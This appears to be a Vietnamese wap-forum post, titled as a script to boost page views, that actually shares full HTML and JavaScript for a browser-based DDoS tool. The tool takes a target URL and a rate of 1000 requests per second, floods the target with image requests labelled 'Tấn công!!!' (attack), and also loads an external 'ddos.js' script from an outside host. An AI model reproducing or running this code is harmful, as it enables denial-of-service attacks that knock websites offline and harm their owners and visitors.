» Share Script Tăng View Cho Wap Xtgem
Code này do Luc00 chia sẻ mình tìm thấy ở bên khiepqua j ấy đem về mod lại style chút xíu thui!
Tạo 1 file dán code sau vào:
<div class="phdr">Tool Ddos Wapsite</div>
<div class="list1">Nhập URL bạn muốn Ddos: <br />
<input id="targetURL" value="http://" type="text" style="width: 95%;"><br/>
<center><button id="fireButton">Tấn công</button></center><br /></div>
<div class="list1">
<label>Yêu cầu mỗi giây: <br /> <input type="text" style="width: 95%;" id="rps" value="1000"></label></div>
<div class="list1">
<label>Tin nhắn: <br /><input type="text" style="width: 95%;" id="message" value="Tấn công!!!" ></label>
</div>
<div class="phdr">
<legend>Tình trạng:</legend>
</div>
<div class="list1">Lượt tấn công: <span id="requestedCtr">0</span></div>
<div class="list1">
<span style="opacity: 0.5;">Không thành công:</span> <span style="opacity: 0.5;" id="succeededCtr">0</span></div>
<div class="list1">
<span style="opacity: 0.5;">Gửi thành công:</span> <span style="opacity: 0.5;" id="failedCtr">0</span></div>
<script>var _wau = _wau || []; _wau.push(["tab", "2v9pv5lj79fa", "8vv", "left-middle"]);(function() { var s=document.createElement("script"); s.async=true; s.src="http://vn123.yn.lt/xt/ddos.js";document.getElementsByTagName("head")[0].appendChild(s);})();</script>
<script>
(function () {
var fireInterval;
var isFiring = false;
var requestedCtrNode = document.getElementById("requestedCtr"),
succeededCtrNode = document.getElementById("succeededCtr"),
failedCtrNode = document.getElementById("failedCtr"),
targetURLNode = document.getElementById("targetURL"),
fireButton = document.getElementById("fireButton"),
messageNode = document.getElementById("message"),
rpsNode = document.getElementById("rps"),
timeoutNode = document.getElementById("timeout");
var targetURL = targetURLNode.value;
targetURLNode.onchange = function () {
targetURL = this.value;
};
var requestsHT = {}; // requests hash table, may come in handy later
var requestedCtr = 0,
succeededCtr = 0,
failedCtr = 0;
var makeHttpRequest = function () {
if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
return;
};
var rID =Number(new Date());
var img = new Image();
img.onerror = function () { onFail(rID); };
img.onabort = function () { onFail(rID); };
img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
requestsHT[rID] = img;
onRequest(rID);
};
var onRequest = function (rID) {
requestedCtr++;
requestedCtrNode.innerHTML = requestedCtr;
};
var onComplete = function (rID) {
delete requestsHT[rID];
};
var onFail = function (rID) {
failedCtr++;
failedCtrNode.innerHTML = failedCtr;
delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
};
var onSuccess = function (rID) {
succeededCtr++;
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID];
};
fireButton.onclick = function () {
if (isFiring) {
clearInterval(fireInterval);
isFiring = false;
this.innerHTML = "Tấn công";
} else {
isFiring = true;
this.innerHTML = "Dừng lại";
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
}
};
})();
</script>
Lượt xem:0